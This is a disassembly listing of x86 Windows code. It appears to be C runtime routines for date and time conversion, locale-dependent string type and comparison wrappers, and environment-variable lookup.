		cmp	[ebp+arg_10], 5
		jnz	short loc_43BF7A
		mov	ecx, [ebp+arg_8]
		and	ecx, 3
		test	ecx, ecx
		jnz	short loc_43BF5C
		mov	edx, [ebp+arg_C]
		mov	eax, dword_453784[edx*4]
		mov	[ebp+var_10], eax
		jmp	short loc_43BF69
; ---------------------------------------------------------------------------


loc_43BF5C:				; CODE XREF: sub_43BEA0+ABj
		mov	ecx, [ebp+arg_C]
		mov	edx, dword_4537B8[ecx*4]
		mov	[ebp+var_10], edx


loc_43BF69:				; CODE XREF: sub_43BEA0+BAj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_10]
		jle	short loc_43BF7A
		mov	ecx, [ebp+var_8]
		sub	ecx, 7
		mov	[ebp+var_8], ecx


loc_43BF7A:				; CODE XREF: sub_43BEA0+A1j
					; sub_43BEA0+CFj
		jmp	short loc_43BFB1
; ---------------------------------------------------------------------------


loc_43BF7C:				; CODE XREF: sub_43BEA0+Aj
		mov	edx, [ebp+arg_8]
		and	edx, 3
		test	edx, edx
		jnz	short loc_43BF95
		mov	eax, [ebp+arg_C]
		mov	ecx, dword_453780[eax*4]
		mov	[ebp+var_14], ecx
		jmp	short loc_43BFA2
; ---------------------------------------------------------------------------


loc_43BF95:				; CODE XREF: sub_43BEA0+E4j
		mov	edx, [ebp+arg_C]
		mov	eax, dword_4537B4[edx*4]
		mov	[ebp+var_14], eax


loc_43BFA2:				; CODE XREF: sub_43BEA0+F3j
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_8]
		add	edx, [ebp+arg_18]
		mov	[ebp+var_8], edx


loc_43BFB1:				; CODE XREF: sub_43BEA0:loc_43BF7Aj
		cmp	[ebp+arg_0], 1
		jnz	short loc_43BFF1
		mov	eax, [ebp+var_8]
		mov	dword_4534AC, eax
		mov	ecx, [ebp+arg_1C]
		imul	ecx, 3Ch
		mov	edx, [ebp+arg_20]
		add	edx, ecx
		imul	edx, 3Ch
		mov	eax, [ebp+arg_24]
		add	eax, edx
		imul	eax, 3E8h
		mov	ecx, [ebp+arg_28]
		add	ecx, eax
		mov	dword_4534B0, ecx
		mov	edx, [ebp+arg_8]
		mov	dword_4534A8, edx
		jmp	loc_43C094
; ---------------------------------------------------------------------------


loc_43BFF1:				; CODE XREF: sub_43BEA0+115j
		mov	eax, [ebp+var_8]
		mov	dword_4534BC, eax
		mov	ecx, [ebp+arg_1C]
		imul	ecx, 3Ch
		mov	edx, [ebp+arg_20]
		add	edx, ecx
		imul	edx, 3Ch
		mov	eax, [ebp+arg_24]
		add	eax, edx
		imul	eax, 3E8h
		mov	ecx, [ebp+arg_28]
		add	ecx, eax
		mov	dword_4534C0, ecx
		mov	edx, dword_453418
		imul	edx, 3E8h
		mov	eax, dword_4534C0
		add	eax, edx
		mov	dword_4534C0, eax
		cmp	dword_4534C0, 0
		jge	short loc_43C061
		mov	ecx, dword_4534C0
		add	ecx, 5265C00h
		mov	dword_4534C0, ecx
		mov	edx, dword_4534BC
		sub	edx, 1
		mov	dword_4534BC, edx
		jmp	short loc_43C08B
; ---------------------------------------------------------------------------


loc_43C061:				; CODE XREF: sub_43BEA0+19Cj
		cmp	dword_4534C0, 5265C00h
		jl	short loc_43C08B
		mov	eax, dword_4534C0
		sub	eax, 5265C00h
		mov	dword_4534C0, eax
		mov	ecx, dword_4534BC
		add	ecx, 1
		mov	dword_4534BC, ecx


loc_43C08B:				; CODE XREF: sub_43BEA0+1BFj
					; sub_43BEA0+1CBj
		mov	edx, [ebp+arg_8]
		mov	dword_4534B8, edx


loc_43C094:				; CODE XREF: sub_43BEA0+14Cj
		mov	esp, ebp
		pop	ebp
		retn
sub_43BEA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C0A0	proc near		; CODE XREF: sub_43AA10+19Cp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43FFE0
		push	offset sub_425A74
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	dword_4E956C, 0
		jnz	short loc_43C112
		push	0
		push	0
		push	1
		push	0
		call	near ptr 272112Dh
		nop
		test	eax, eax
		jz	short loc_43C0ED
		mov	dword_4E956C, 1
		jmp	short loc_43C112
; ---------------------------------------------------------------------------


loc_43C0ED:				; CODE XREF: sub_43C0A0+3Fj
		push	0
		push	0
		push	1
		push	0
		nop
		call	near ptr 2810000h
		test	eax, eax
		jz	short loc_43C10B
		mov	dword_4E956C, 2
		jmp	short loc_43C112
; ---------------------------------------------------------------------------


loc_43C10B:				; CODE XREF: sub_43C0A0+5Dj
		xor	eax, eax
		jmp	loc_43C221
; ---------------------------------------------------------------------------


loc_43C112:				; CODE XREF: sub_43C0A0+2Dj
					; sub_43C0A0+4Bj ...
		cmp	dword_4E956C, 1
		jnz	short loc_43C136
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		nop
		call	near ptr 272112Dh
		jmp	loc_43C221
; ---------------------------------------------------------------------------


loc_43C136:				; CODE XREF: sub_43C0A0+79j
		cmp	dword_4E956C, 2
		jnz	loc_43C21F
		cmp	[ebp+arg_10], 0
		jnz	short loc_43C152
		mov	ecx, dword_4E92F4
		mov	[ebp+arg_10], ecx


loc_43C152:				; CODE XREF: sub_43C0A0+A7j
		push	0
		push	0
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	near ptr 2810000h
		nop
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_43C174
		xor	eax, eax
		jmp	loc_43C221
; ---------------------------------------------------------------------------


loc_43C174:				; CODE XREF: sub_43C0A0+CBj
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_1C]
		add	eax, 3
		and	al, 0FCh
		call	sub_421EE0
		mov	[ebp+var_28], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_28]
		mov	[ebp+var_20], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_43C1B4
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_20], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_43C1B4:				; CODE XREF: sub_43C0A0+FBj
		cmp	[ebp+var_20], 0
		jnz	short loc_43C1BE
		xor	eax, eax
		jmp	short loc_43C221
; ---------------------------------------------------------------------------


loc_43C1BE:				; CODE XREF: sub_43C0A0+118j
		mov	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+var_20]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		nop
		call	near ptr 2810000h
		test	eax, eax
		jnz	short loc_43C1DC
		xor	eax, eax
		jmp	short loc_43C221
; ---------------------------------------------------------------------------


loc_43C1DC:				; CODE XREF: sub_43C0A0+136j
		cmp	[ebp+arg_C], 0
		jnz	short loc_43C1FD
		push	0
		push	0
		push	0FFFFFFFFh
		mov	eax, [ebp+var_20]
		push	eax
		push	1
		mov	ecx, [ebp+arg_10]
		push	ecx
		call	near ptr 2910000h
		nop
		mov	[ebp+var_24], eax
		jmp	short loc_43C21A
; ---------------------------------------------------------------------------


loc_43C1FD:				; CODE XREF: sub_43C0A0+140j
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	0FFFFFFFFh
		mov	ecx, [ebp+var_20]
		push	ecx
		push	1
		mov	edx, [ebp+arg_10]
		push	edx
		nop
		call	near ptr 2910000h
		mov	[ebp+var_24], eax


loc_43C21A:				; CODE XREF: sub_43C0A0+15Bj
		mov	eax, [ebp+var_24]
		jmp	short loc_43C221
; ---------------------------------------------------------------------------


loc_43C21F:				; CODE XREF: sub_43C0A0+9Dj
		xor	eax, eax


loc_43C221:				; CODE XREF: sub_43C0A0+6Dj
					; sub_43C0A0+91j ...
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_43C0A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C240	proc near		; CODE XREF: sub_43AA10+4Bp
					; sub_43AA10+7Ep ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43FFF0
		push	offset sub_425A74
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	dword_4E9570, 0
		jnz	short loc_43C2B2
		push	0
		push	0
		push	1
		push	0
		nop
		call	near ptr 272112Dh
		test	eax, eax
		jz	short loc_43C28D
		mov	dword_4E9570, 1
		jmp	short loc_43C2B2
; ---------------------------------------------------------------------------


loc_43C28D:				; CODE XREF: sub_43C240+3Fj
		push	0
		push	0
		push	1
		push	0
		call	near ptr 2810000h
		nop
		test	eax, eax
		jz	short loc_43C2AB
		mov	dword_4E9570, 2
		jmp	short loc_43C2B2
; ---------------------------------------------------------------------------


loc_43C2AB:				; CODE XREF: sub_43C240+5Dj
		xor	eax, eax
		jmp	loc_43C3D1
; ---------------------------------------------------------------------------


loc_43C2B2:				; CODE XREF: sub_43C240+2Dj
					; sub_43C240+4Bj ...
		cmp	dword_4E9570, 2
		jnz	short loc_43C2D6
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		nop
		call	near ptr 2810000h
		jmp	loc_43C3D1
; ---------------------------------------------------------------------------


loc_43C2D6:				; CODE XREF: sub_43C240+79j
		cmp	dword_4E9570, 1
		jnz	loc_43C3CF
		cmp	[ebp+arg_10], 0
		jnz	short loc_43C2F2
		mov	ecx, dword_4E92F4
		mov	[ebp+arg_10], ecx


loc_43C2F2:				; CODE XREF: sub_43C240+A7j
		push	0
		push	0
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	near ptr 272112Dh
		nop
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_43C314
		xor	eax, eax
		jmp	loc_43C3D1
; ---------------------------------------------------------------------------


loc_43C314:				; CODE XREF: sub_43C240+CBj
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_1C]
		shl	eax, 1
		add	eax, 3
		and	al, 0FCh
		call	sub_421EE0
		mov	[ebp+var_28], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_28]
		mov	[ebp+var_20], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_43C356
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_20], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_43C356:				; CODE XREF: sub_43C240+FDj
		cmp	[ebp+var_20], 0
		jnz	short loc_43C360
		xor	eax, eax
		jmp	short loc_43C3D1
; ---------------------------------------------------------------------------


loc_43C360:				; CODE XREF: sub_43C240+11Aj
		mov	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+var_20]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		nop
		call	near ptr 272112Dh
		test	eax, eax
		jnz	short loc_43C37E
		xor	eax, eax
		jmp	short loc_43C3D1
; ---------------------------------------------------------------------------


loc_43C37E:				; CODE XREF: sub_43C240+138j
		cmp	[ebp+arg_C], 0
		jnz	short loc_43C3A6
		push	0
		push	0
		push	0
		push	0
		push	0FFFFFFFFh
		mov	eax, [ebp+var_20]
		push	eax
		push	220h
		mov	ecx, [ebp+arg_10]
		push	ecx
		nop
		call	near ptr 290039Dh
		mov	[ebp+var_24], eax
		jmp	short loc_43C3CA
; ---------------------------------------------------------------------------


loc_43C3A6:				; CODE XREF: sub_43C240+142j
		push	0
		push	0
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	0FFFFFFFFh
		mov	ecx, [ebp+var_20]
		push	ecx
		push	220h
		mov	edx, [ebp+arg_10]
		push	edx
		nop
		call	near ptr 290039Dh
		mov	[ebp+var_24], eax


loc_43C3CA:				; CODE XREF: sub_43C240+164j
		mov	eax, [ebp+var_24]
		jmp	short loc_43C3D1
; ---------------------------------------------------------------------------


loc_43C3CF:				; CODE XREF: sub_43C240+9Dj
		xor	eax, eax


loc_43C3D1:				; CODE XREF: sub_43C240+6Dj
					; sub_43C240+91j ...
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_43C240	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	0Ch
		call	sub_425990
		add	esp, 4
		mov	eax, [ebp+8]
		push	eax
		call	sub_43C420
		add	esp, 4
		mov	[ebp-4], eax
		push	0Ch
		call	sub_425A30
		add	esp, 4
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C420	proc near		; CODE XREF: sub_43B7C0+3Ap
					; .XComp0:0043C402p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, dword_4E9214
		mov	[ebp+var_8], eax
		cmp	dword_4EA908, 0
		jnz	short loc_43C43E
		xor	eax, eax
		jmp	loc_43C4E2
; ---------------------------------------------------------------------------


loc_43C43E:				; CODE XREF: sub_43C420+15j
		cmp	[ebp+var_8], 0
		jnz	short loc_43C466
		cmp	dword_4E921C, 0
		jz	short loc_43C466
		call	sub_43C540
		test	eax, eax
		jz	short loc_43C45D
		xor	eax, eax
		jmp	loc_43C4E2
; ---------------------------------------------------------------------------


loc_43C45D:				; CODE XREF: sub_43C420+34j
		mov	ecx, dword_4E9214
		mov	[ebp+var_8], ecx


loc_43C466:				; CODE XREF: sub_43C420+22j
					; sub_43C420+2Bj
		cmp	[ebp+var_8], 0
		jz	short loc_43C4E0
		cmp	[ebp+arg_0], 0
		jz	short loc_43C4E0
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41EBD0
		add	esp, 4
		mov	[ebp+var_4], eax


loc_43C481:				; CODE XREF: sub_43C420+BEj
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax], 0
		jz	short loc_43C4E0
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx]
		push	edx
		call	sub_41EBD0
		add	esp, 4
		cmp	eax, [ebp+var_4]
		jbe	short loc_43C4D5
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [ecx+edx]
		cmp	eax, 3Dh
		jnz	short loc_43C4D5
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		push	ecx
		call	sub_43C4F0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_43C4D5
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx+1]
		jmp	short loc_43C4E2
; ---------------------------------------------------------------------------


loc_43C4D5:				; CODE XREF: sub_43C420+7Aj
					; sub_43C420+8Bj ...
		mov	edx, [ebp+var_8]
		add	edx, 4
		mov	[ebp+var_8], edx
		jmp	short loc_43C481
; ---------------------------------------------------------------------------


loc_43C4E0:				; CODE XREF: sub_43C420+4Aj
					; sub_43C420+50j ...
		xor	eax, eax


loc_43C4E2:				; CODE XREF: sub_43C420+19j
					; sub_43C420+38j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_43C420	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C4F0	proc near		; CODE XREF: sub_43C420+9Bp
					; sub_43CD20+2Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_8], 0
		jnz	short loc_43C4FE
		xor	eax, eax
		jmp	short loc_43C53B
; ---------------------------------------------------------------------------


loc_43C4FE:				; CODE XREF: sub_43C4F0+8j
		mov	eax, dword_4E96AC
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	1
		mov	edx, dword_4E98C4
		push	edx
		call	sub_43C5F0
		add	esp, 1Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_43C535
		mov	eax, 7FFFFFFFh
		jmp	short loc_43C53B
; ---------------------------------------------------------------------------


loc_43C535:				; CODE XREF: sub_43C4F0+3Cj
		mov	eax, [ebp+var_4]
		sub	eax, 2


loc_43C53B:				; CODE XREF: sub_43C4F0+Cj
					; sub_43C4F0+43j
		mov	esp, ebp
		pop	ebp
		retn
sub_43C4F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C540	proc near		; CODE XREF: sub_43C420+2Dp
					; sub_43CA40+81p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, dword_4E921C
		mov	[ebp+var_4], eax


loc_43C54E:				; CODE XREF: sub_43C540+A3j
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx], 0
		jz	loc_43C5E8
		push	0
		push	0
		push	0
		push	0
		push	0FFFFFFFFh
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		push	eax
		push	0
		push	1
		nop
		call	near ptr 290039Dh
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_43C582
		or	eax, 0FFFFFFFFh
		jmp	short loc_43C5EA
; ---------------------------------------------------------------------------


loc_43C582:				; CODE XREF: sub_43C540+3Bj
		push	3Dh
		push	offset dword_43FFFC
		push	2
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_41EDD0
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_43C5A5
		or	eax, 0FFFFFFFFh
		jmp	short loc_43C5EA
; ---------------------------------------------------------------------------


loc_43C5A5:				; CODE XREF: sub_43C540+5Ej
		push	0
		push	0
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		push	0FFFFFFFFh
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		push	edx
		push	0
		push	1
		nop
		call	near ptr 290039Dh
		test	eax, eax
		jnz	short loc_43C5CC
		or	eax, 0FFFFFFFFh
		jmp	short loc_43C5EA
; ---------------------------------------------------------------------------


loc_43C5CC:				; CODE XREF: sub_43C540+85j
		push	0
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_43CA40
		add	esp, 8
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		jmp	loc_43C54E
; ---------------------------------------------------------------------------


loc_43C5E8:				; CODE XREF: sub_43C540+14j
		xor	eax, eax


loc_43C5EA:				; CODE XREF: sub_43C540+40j
					; sub_43C540+63j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_43C540	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C5F0	proc near		; CODE XREF: sub_43C4F0+2Dp

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_440050
		push	offset sub_425A74
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFC8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	dword_4E9574, 0
		jnz	short loc_43C676
		push	1
		push	offset dword_43F390
		push	1
		push	offset dword_43F390
		push	0
		push	0
		nop
		call	near ptr 2710000h
		test	eax, eax
		jz	short loc_43C647
		mov	dword_4E9574, 1
		jmp	short loc_43C676
; ---------------------------------------------------------------------------


loc_43C647:				; CODE XREF: sub_43C5F0+49j
		push	1
		push	offset dword_43F38C
		push	1
		push	offset dword_43F38C
		push	0
		push	0
		call	near ptr 2720000h
		nop
		test	eax, eax
		jz	short loc_43C66F
		mov	dword_4E9574, 2
		jmp	short loc_43C676
; ---------------------------------------------------------------------------


loc_43C66F:				; CODE XREF: sub_43C5F0+71j
		xor	eax, eax
		jmp	loc_43C9D4
; ---------------------------------------------------------------------------


loc_43C676:				; CODE XREF: sub_43C5F0+2Dj
					; sub_43C5F0+55j ...
		cmp	[ebp+arg_C], 0
		jle	short loc_43C68F
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		call	sub_43C9F0
		add	esp, 8
		mov	[ebp+arg_C], eax


loc_43C68F:				; CODE XREF: sub_43C5F0+8Aj
		cmp	[ebp+arg_14], 0
		jle	short loc_43C6A8
		mov	edx, [ebp+arg_14]
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		call	sub_43C9F0
		add	esp, 8
		mov	[ebp+arg_14], eax


loc_43C6A8:				; CODE XREF: sub_43C5F0+A3j
		cmp	dword_4E9574, 2
		jnz	short loc_43C6D4
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		nop
		call	near ptr 2720000h
		jmp	loc_43C9D4
; ---------------------------------------------------------------------------


loc_43C6D4:				; CODE XREF: sub_43C5F0+BFj
		cmp	dword_4E9574, 1
		jnz	loc_43C9D2
		cmp	[ebp+arg_18], 0
		jnz	short loc_43C6F0
		mov	ecx, dword_4E92F4
		mov	[ebp+arg_18], ecx


loc_43C6F0:				; CODE XREF: sub_43C5F0+F5j
		cmp	[ebp+arg_C], 0
		jz	short loc_43C700
		cmp	[ebp+arg_14], 0
		jnz	loc_43C87C


loc_43C700:				; CODE XREF: sub_43C5F0+104j
		mov	edx, [ebp+arg_C]
		cmp	edx, [ebp+arg_14]
		jnz	short loc_43C712
		mov	eax, 2
		jmp	loc_43C9D4
; ---------------------------------------------------------------------------


loc_43C712:				; CODE XREF: sub_43C5F0+116j
		cmp	[ebp+arg_14], 1
		jle	short loc_43C722
		mov	eax, 1
		jmp	loc_43C9D4
; ---------------------------------------------------------------------------


loc_43C722:				; CODE XREF: sub_43C5F0+126j
		cmp	[ebp+arg_C], 1
		jle	short loc_43C732
		mov	eax, 3
		jmp	loc_43C9D4
; ---------------------------------------------------------------------------


loc_43C732:				; CODE XREF: sub_43C5F0+136j
		lea	eax, [ebp+var_3C]
		push	eax
		mov	ecx, [ebp+arg_18]
		push	ecx
		call	near ptr 29D0000h
		nop
		test	eax, eax
		jnz	short loc_43C74B
		xor	eax, eax
		jmp	loc_43C9D4
; ---------------------------------------------------------------------------


loc_43C74B:				; CODE XREF: sub_43C5F0+152j
					; sub_43C5F0+198j
		cmp	[ebp+arg_C], 0
		jnz	short loc_43C757
		cmp	[ebp+arg_14], 1
		jz	short loc_43C784


loc_43C757:				; CODE XREF: sub_43C5F0+15Fj
		cmp	[ebp+arg_C], 1
		jnz	short loc_43C763
		cmp	[ebp+arg_14], 0
		jz	short loc_43C784


loc_43C763:				; CODE XREF: sub_43C5F0+16Bj
		push	offset aCchcount10Cchc ; "cchCount1==0 && cchCount2==1 || cchCoun"...
		push	0
		push	0B6h
		push	offset dword_440008
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_43C784
		int	3		; Trap to Debugger


loc_43C784:				; CODE XREF: sub_43C5F0+165j
					; sub_43C5F0+171j ...
		xor	edx, edx
		test	edx, edx
		jnz	short loc_43C74B
		cmp	[ebp+arg_C], 0
		jle	short loc_43C803
		cmp	[ebp+var_3C], 2
		jnb	short loc_43C7A0
		mov	eax, 3
		jmp	loc_43C9D4
; ---------------------------------------------------------------------------


loc_43C7A0:				; CODE XREF: sub_43C5F0+1A4j
		lea	eax, [ebp+var_36]
		mov	[ebp+var_40], eax
		jmp	short loc_43C7B1
; ---------------------------------------------------------------------------


loc_43C7A8:				; CODE XREF: sub_43C5F0:loc_43C7F7j
		mov	ecx, [ebp+var_40]
		add	ecx, 2
		mov	[ebp+var_40], ecx


loc_43C7B1:				; CODE XREF: sub_43C5F0+1B6j
		mov	edx, [ebp+var_40]
		xor	eax, eax
		mov	al, [edx]
		test	eax, eax
		jz	short loc_43C7F9
		mov	ecx, [ebp+var_40]
		xor	edx, edx
		mov	dl, [ecx+1]
		test	edx, edx
		jz	short loc_43C7F9
		mov	eax, [ebp+arg_8]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, [ebp+var_40]
		xor	eax, eax
		mov	al, [edx]
		cmp	ecx, eax
		jl	short loc_43C7F7
		mov	ecx, [ebp+arg_8]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+var_40]
		xor	ecx, ecx
		mov	cl, [eax+1]
		cmp	edx, ecx
		jg	short loc_43C7F7
		mov	eax, 2
		jmp	loc_43C9D4
; ---------------------------------------------------------------------------


loc_43C7F7:				; CODE XREF: sub_43C5F0+1E8j
					; sub_43C5F0+1FBj
		jmp	short loc_43C7A8
; ---------------------------------------------------------------------------


loc_43C7F9:				; CODE XREF: sub_43C5F0+1CAj
					; sub_43C5F0+1D6j
		mov	eax, 3
		jmp	loc_43C9D4
; ---------------------------------------------------------------------------


loc_43C803:				; CODE XREF: sub_43C5F0+19Ej
		cmp	[ebp+arg_14], 0
		jle	short loc_43C87C
		cmp	[ebp+var_3C], 2
		jnb	short loc_43C819
		mov	eax, 1
		jmp	loc_43C9D4
; ---------------------------------------------------------------------------


loc_43C819:				; CODE XREF: sub_43C5F0+21Dj
		lea	edx, [ebp+var_36]
		mov	[ebp+var_40], edx
		jmp	short loc_43C82A
; ---------------------------------------------------------------------------


loc_43C821:				; CODE XREF: sub_43C5F0:loc_43C870j
		mov	eax, [ebp+var_40]
		add	eax, 2
		mov	[ebp+var_40], eax


loc_43C82A:				; CODE XREF: sub_43C5F0+22Fj
		mov	ecx, [ebp+var_40]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jz	short loc_43C872
		mov	eax, [ebp+var_40]
		xor	ecx, ecx
		mov	cl, [eax+1]
		test	ecx, ecx
		jz	short loc_43C872
		mov	edx, [ebp+arg_10]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+var_40]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	eax, edx
		jl	short loc_43C870
		mov	eax, [ebp+arg_10]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, [ebp+var_40]
		xor	eax, eax
		mov	al, [edx+1]
		cmp	ecx, eax
		jg	short loc_43C870
		mov	eax, 2
		jmp	loc_43C9D4
; ---------------------------------------------------------------------------


loc_43C870:				; CODE XREF: sub_43C5F0+261j
					; sub_43C5F0+274j
		jmp	short loc_43C821
; ---------------------------------------------------------------------------


loc_43C872:				; CODE XREF: sub_43C5F0+243j
					; sub_43C5F0+24Fj
		mov	eax, 1
		jmp	loc_43C9D4
; ---------------------------------------------------------------------------


loc_43C87C:				; CODE XREF: sub_43C5F0+10Aj
					; sub_43C5F0+217j
		push	0
		push	0
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		push	9
		mov	eax, [ebp+arg_18]
		push	eax
		call	near ptr 2910000h
		nop
